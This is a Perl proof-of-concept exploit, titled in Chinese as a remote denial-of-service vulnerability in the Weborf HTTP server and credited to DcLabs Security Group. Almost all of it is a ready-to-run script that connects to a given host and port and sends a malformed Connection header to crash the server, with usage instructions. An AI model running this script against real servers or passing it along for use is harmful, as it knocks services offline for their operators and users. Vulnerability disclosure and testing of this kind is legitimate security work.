Weborf服务器HTTP头远程拒绝服务漏洞

                                                #!/usr/bin/perl
use IO::Socket;

       if (@ARGV < 1) {
               usage();
       }

       $ip     = $ARGV[0];
       $port   = $ARGV[1];

       print "[+] Sending request...\n";

       $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
       print $socket "GET / HTTP/1.0\r\n";
       print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n";

       close($socket);

       print "[+] Done!\n";

sub usage() {
       print "[-] Usage: <". $0 ."> <host> <port>\n";
       print "[-] Example: ". $0 ." 127.0.0.1 80\n";
       exit;
}
---------------------------------------------------------------------------------
-------

DcLabs Security Group
Sponsor: ipax
[email protected]